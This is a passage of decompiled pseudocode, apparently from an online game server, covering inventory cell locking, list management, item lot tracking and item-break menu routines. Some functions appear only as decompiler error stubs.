FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; HIWORD(v6) = 0; if ( from.inven.Inven & 0xFC00 && to.inven.Inven & 0xFC00 ) goto LABEL_8; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); return; } *(_WORD *)v7 = index; *(_QWORD *)(v7 + 16) = *(_QWORD *)&from; *(_DWORD *)(v7 + 24) = *(_DWORD *)&from.ItemID; *(_DWORD *)(v7 + 28) = from.Lot; *(_QWORD *)(v7 + 32) = *(_QWORD *)&to; *(_DWORD *)(v7 + 40) = *(_DWORD *)&to.ItemID; *(_DWORD *)(v7 + 44) = to.Lot; memcpy((void *)(v7 + 48), &changeiteminfo, 0x6Cu); *(_WORD *)(v7 + 156) = *(_WORD *)((char *)&changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; *(_BYTE *)(v7 + 158) = BYTE3(changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); } //----- (00466CB0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0xA0u); result = 1; } else { result = 0; } return result; } //----- (00466CE0) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta) { ItemLotAnalyser::LotAnalyser *v4; // esi@1 unsigned __int16 v5; // cx@1 int v6; // ebx@3 int v7; // eax@4 int v8; // eax@7 ItemLotAnalyser::LotChanger key; // [sp+4h] [bp-2Ch]@3 ListSearchSame lss; // [sp+Ch] [bp-24h]@4 int v11; // [sp+2Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotAnalyser::ItemLotAnalyser::ila_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = inven->Inven; v11 = 0; if ( (v5 & 0xFC00) == 9216 ) { v6 = delta * ((int (__stdcall *)(SHINE_ITEM_STRUCT *))cell->iic_AttrProc->vfptr->iac_GetLot)(&cell->iic_Item.iti_itemstruct); key.item = cell->iic_Item.iti_itemstruct.itemid; if ( key.item != -1 ) { lss.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; lss.lss_lst = (List *)v4; lss.lss_compfunc = HuntLog::MobHuntElement::mhe_Compare; lss.lss_key = &key; lss.lss_found.element = 0; lss.lss_found.hnd = -1; LOBYTE(v11) = 1; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&lss); HIWORD(v7) = HIWORD(lss.lss_found.element); if ( lss.lss_found.element ) { lss.lss_found.element->delta += v6; } else { LOWORD(v7) = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = (int)v4->baseclass_0.vfptr->l_AllocA((List *)v4, v7); if ( v8 ) *(_DWORD *)(v8 + 4) = v6; else AssertClass::ac_AssertFail(&shineassert, "ItemLotAnalyser::ItemLotAnalyser::ila_Store : List leck", 0); } lss.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } else { --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00466E60) -------------------------------------------------------- #error "466E60: undefined or illegal type '#325' (funcsize=59)" //----- (00466F60) -------------------------------------------------------- #error "466F60: undefined or illegal type '#325' (funcsize=55)" //----- (00467040) -------------------------------------------------------- #error "467040: undefined or illegal type '#325' (funcsize=353)" //----- (00467520) -------------------------------------------------------- #error "467520: undefined or illegal type '#325' (funcsize=69)" //----- (00467630) -------------------------------------------------------- #error "467630: undefined or illegal type '#325' (funcsize=82)" //----- (00467740) -------------------------------------------------------- #error "467740: undefined or illegal type '#325' (funcsize=186)" //----- (004679B0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // edx@1 char result; // al@2 int v6; // eax@3 ListStruct *v7; // edx@3 unsigned __int16 v8; // si@3 int v9; // ebp@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@18 int v17; // eax@22 char v18; // cl@22 int v19; // eax@22 int v20; // eax@23 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; if ( v3->icll_AllLock ) { funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v6 = v3->icll_List.l_Finger.store; v7 = v3->icll_List.l_Array; v8 = v3->icll_List.l_MaxSize; v9 = type; v10 = v7[v6].ls_Next; while ( v10 < v8 ) { v11 = v10; v12 = v10; v13 = v10 < v8; v10 = v7[v10].ls_Next; if ( v13 && v7[v11].ls_IsActiv ) v14 = v7[v11].ls_Content; else v14 = 0; if ( (unsigned int)v14->lc_InvenLocCurrent.Inven >> 10 == v9 ) { if ( v12 < v8 && v7[v11].ls_IsActiv ) v15 = v7[v11].ls_Content; else v15 = 0; if ( (v15->lc_InvenLocCurrent.Inven & 0x3FF) == slot ) { LABEL_26: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } v9 = type; } if ( v12 < v8 && v7[v11].ls_IsActiv ) v16 = v7[v11].ls_Content; else v16 = 0; if ( (unsigned int)v16->lc_InvenLocExchange.Inven >> 10 == v9 ) { if ( v12 < v8 && (v17 = 3 * v11, v18 = v7[4 * v17 / 0xCu].ls_IsActiv, v19 = (int)&v7[4 * v17 / 0xCu], v18) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( (*(_WORD *)(v20 + 10) & 0x3FF) == slot ) goto LABEL_26; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00467B90) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // edx@1 char result; // al@2 int v7; // eax@3 ListStruct *v8; // edx@3 unsigned __int16 v9; // si@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@17 InventoryLocking::LockedCell *v17; // ecx@22 int v18; // eax@26 char v19; // cl@26 int v20; // eax@26 int v21; // eax@27 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v5 = funcallanalizer.fca_stackpoint++ + 1; if ( v4->icll_AllLock ) { funcallanalizer.fca_stackpoint = v5 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v7 = v4->icll_List.l_Finger.store; v8 = v4->icll_List.l_Array; v9 = v4->icll_List.l_MaxSize; v10 = v8[v7].ls_Next; while ( v10 < v9 ) { v11 = v10; v12 = v10; v13 = v10 < v9; v10 = v8[v10].ls_Next; if ( v13 && v8[v11].ls_IsActiv ) v14 = v8[v11].ls_Content; else v14 = 0; if ( v14->lc_Index != ignore ) { v15 = v12 < v9 && v8[v11].ls_IsActiv ? v8[v11].ls_Content : 0; if ( (unsigned int)v15->lc_InvenLocCurrent.Inven >> 10 == type && (v12 >= v9 || !v8[v11].ls_IsActiv ? (v16 = 0) : (v16 = v8[v11].ls_Content), (v16->lc_InvenLocCurrent.Inven & 0x3FF) == slot) || (v12 >= v9 || !v8[v11].ls_IsActiv ? (v17 = 0) : (v17 = v8[v11].ls_Content), (unsigned int)v17->lc_InvenLocExchange.Inven >> 10 == type && (v12 >= v9 || (v18 = 3 * v11, v19 = v8[4 * v18 / 0xCu].ls_IsActiv, v20 = (int)&v8[4 * v18 / 0xCu], !v19) ? (v21 = 0) : (v21 = *(_DWORD *)v20), (*(_WORD *)(v21 + 10) & 0x3FF) == slot)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00467D90) -------------------------------------------------------- #error "467D90: undefined or illegal type '#434' (funcsize=86)" //----- (00467EC0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 ListStruct *v4; // edx@1 unsigned __int16 v5; // bp@1 int v6; // ecx@1 unsigned __int16 v7; // si@1 int v8; // eax@3 unsigned __int16 v9; // bx@3 bool v10; // cf@3 InventoryLocking::LockedCell *v11; // edi@5 int v12; // eax@9 char v13; // bl@9 int v14; // eax@9 int v15; // eax@10 int lt; // [sp+4h] [bp-18h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->icll_List.l_Array; v5 = v3->icll_List.l_MaxSize; v6 = (int)&v3->icll_List; v7 = v4[v3->icll_List.l_Finger.store].ls_Next; while ( v7 < v5 ) { v8 = v7; v9 = v7; v10 = v7 < v5; v7 = v4[v7].ls_Next; LOWORD(lt) = v9; if ( v10 && v4[v8].ls_IsActiv ) v11 = v4[v8].ls_Content; else v11 = 0; if ( (unsigned int)v11->lc_InvenLocCurrent.Inven >> 10 == inventype ) { if ( v9 < v5 && (v12 = 3 * v8, v13 = v4[4 * v12 / 0xCu].ls_IsActiv, v14 = (int)&v4[4 * v12 / 0xCu], v13) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(_WORD *)(v15 + 8) & 0x3FF) == invenslot ) { HIWORD(lt) = v7; (*(void (__stdcall **)(int))(*(_DWORD *)v6 + 8))(lt); goto LABEL_15; } } } AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_Free : No Releaser Free - LockIndex maybe wrong", 0); LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_Free"); } //----- (00468000) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // ebx@1 char result; // al@2 unsigned __int16 v3; // si@3 unsigned __int16 v4; // di@4 ListStruct *v5; // ecx@5 int v6; // eax@5 bool v7; // cf@5 int v8; // eax@6 int v9; // eax@7 v1 = this; if ( this->icll_AllLock ) { result = 1; } else { v3 = this->icll_List.l_Array[this->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v4 = v1->icll_List.l_MaxSize; if ( v3 >= v4 ) break; v5 = v1->icll_List.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = (int)&v5[v6], *(_BYTE *)(v8 + 8)) ) v9 = *(_DWORD *)v8; else v9 = 0; if ( !(unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v9 + 4) + 8))() ) return 1; } result = 0; } return result; } //----- (00468070) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv) { InventoryLocking::InventoryCellLockList *v2; // esi@1 InventoryLocking::ReservedQuantity *v3; // ebx@1 unsigned __int16 v4; // di@1 unsigned __int16 v5; // cx@2 ListStruct *v6; // edx@3 int v7; // eax@3 unsigned __int16 v8; // bx@3 bool v9; // cf@3 InventoryLocking::LockedCell *v10; // ebp@5 InventoryLocking::InvenCellReleaser *v11; // ebp@7 int v12; // ecx@8 char v13; // al@8 int v14; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = reserv; InventoryLocking::InventoryCellLock::icl_ReservedQuantity(&v2->baseclass_0, reserv); v4 = v2->icll_List.l_Array[v2->icll_List.l_Finger.store].ls_Next; while ( 1 ) { v5 = v2->icll_List.l_MaxSize; if ( v4 >= v5 ) break; v6 = v2->icll_List.l_Array; v7 = v4; v8 = v4; v9 = v4 < v5; v4 = v6[v4].ls_Next; if ( v9 && v6[v7].ls_IsActiv ) v10 = v6[v7].ls_Content; else v10 = 0; v11 = v10->lc_Releaser; if ( v8 < v5 && (v12 = 3 * v7, v13 = v6[v7].ls_IsActiv, v14 = (int)&v6[4 * v12 / 0xCu], v13) ) { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, *(InventoryLocking::LockedCell **)v14); } else { v3 = reserv; v11->vfptr->icr_Reserv(v11, reserv, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ReservedQuantity"); return v3; } //----- (00468190) -------------------------------------------------------- #error "468190: undefined or illegal type '#325' (funcsize=57)" //----- (00468270) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004682C0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004683E0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00468500) -------------------------------------------------------- #error "468500: undefined or illegal type '#325' (funcsize=171)" //----- (00468760) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this) { ItemLotAnalyser::LotAnalyser *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ItemLotAnalyser::LotChanger *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ItemLotAnalyser::LotChanger *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ItemLotAnalyser::LotChanger *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ItemLotAnalyser::LotChanger *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ItemLotAnalyser::LotChanger *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x64u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->la_Array[1]; v5 = 20; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00468840) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // edi@1 char *v2; // esi@1 signed int v3; // edx@1 signed int v4; // ecx@1 int v5; // eax@1 int v6; // edi@3 int v7; // ebp@3 int v8; // edi@3 int v9; // edi@6 int v10; // ebp@6 int v11; // edi@6 int v12; // edi@9 int v13; // ebp@9 int v14; // edi@9 int v15; // edi@12 int v16; // ebp@12 int v17; // edi@12 int v18; // edi@15 int v19; // ebp@15 int v20; // edi@15 signed int v21; // [sp+10h] [bp-14h]@1 v1 = this; v2 = (char *)&this->icll_List; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; this->icll_List.l_ListArray = 0; List::l_MakeList(&this->icll_List, 0x32u); v3 = 2; v4 = 36; v5 = (int)v1->icll_Array; v21 = 10; do { *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4 - 36); v8 = v6 + v4 - 36; if ( !v7 ) *(_DWORD *)v8 = v5; } *(_DWORD *)(v5 + 164) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 - 24); v11 = v9 + v4 - 24; if ( !v10 ) *(_DWORD *)v11 = v5 + 160; } *(_DWORD *)(v5 + 324) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 - 12); v14 = v12 + v4 - 12; if ( !v13 ) *(_DWORD *)v14 = v5 + 320; } *(_DWORD *)(v5 + 484) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4); v17 = v4 + v15; if ( !v16 ) *(_DWORD *)v17 = v5 + 480; } *(_DWORD *)(v5 + 644) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; if ( v3 + 2 < *((_WORD *)v2 + 2) ) { v18 = *((_DWORD *)v2 + 2); v19 = *(_DWORD *)(v18 + v4 + 12); v20 = v18 + v4 + 12; if ( !v19 ) *(_DWORD *)v20 = v5 + 640; } v4 += 60; v3 += 5; v5 += 800; --v21; } while ( v21 ); } // 5B36A8: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 5B3BB0: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int inven, int ignore); // 609B68: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00468990) -------------------------------------------------------- const char *__thiscall ShineScript::ss_String(ShineScript *this, char *scriptindex) { OptionReader *v2; // esi@1 const char *result; // eax@1 ORToken v4; // [sp-1Ch] [bp-24h]@1 int v5; // [sp-18h] [bp-20h]@1 int v6; // [sp-14h] [bp-1Ch]@1 int v7; // [sp-10h] [bp-18h]@1 int v8; // [sp-Ch] [bp-14h]@1 char *v9; // [sp-8h] [bp-10h]@1 int *v10; // [sp-4h] [bp-Ch]@1 v10 = (int *)&scriptindex; v2 = (OptionReader *)this; v9 = scriptindex; scriptindex = (char *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, "Script", 0x14u); result = (const char *)OptionReader::or_Select(v2, "ScrString", v4, v9, v10); if ( scriptindex != (char *)2 || !result ) result = byte_5A62A6; return result; } //----- (004689F0) -------------------------------------------------------- void __usercall itembreakmenu(#434 *sp, char *str, void (__thiscall *ok)(ServerMenuFuncter *, #434 *, ServerMenuArgument *), void (__thiscall *cancel)(ServerMenuFuncter *, #434 *, ServerMenuArgument *), ServerMenuArgument *argument) { const char *v5; // eax@1 const char *v6; // eax@1 void *v7; // eax@1 void (__thiscall *v8)(ServerMenuFuncter *, #434 *, ServerMenuArgument *); // [sp+0h] [bp-E0h]@0 const char *v9; // [sp+4h] [bp-DCh]@0 ServerMenuArgument itemcancel; // [sp+8h] [bp-D8h]@1 ServerMenuArgument itembreak; // [sp+70h] [bp-70h]@1 memcpy(&itemcancel, argument, 0x68u); memcpy(&itembreak, argument, 0x68u); v5 = ShineScript::ss_String(&shinescriptmenusting, str); ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)sp, v5); ShineScript::ss_String(&shinescriptetc, "ButtonCancel"); v6 = ShineScript::ss_String(&shinescriptetc, "ButtonOK"); v7 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem((void *)sp, ok, v6, &itembreak); ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v7, v8, v9, *(ServerMenuArgument **)&itemcancel); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen((void *)sp, 0, -1, 0, 1000); } //----- (00468AB0) -------------------------------------------------------- #error "468AB0: undefined or illegal type '#434' (funcsize=10)" //----- (00468AD0) -------------------------------------------------------- #error "468AD0: undefined or illegal type '#434' (funcsize=175)" //----- (00468D50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // edi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 24))( v3, v2, *(_WORD *)(suc + 6), 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 772))(v2, 12, 36); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00468E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail) { void *v2; // esi@1 __int16 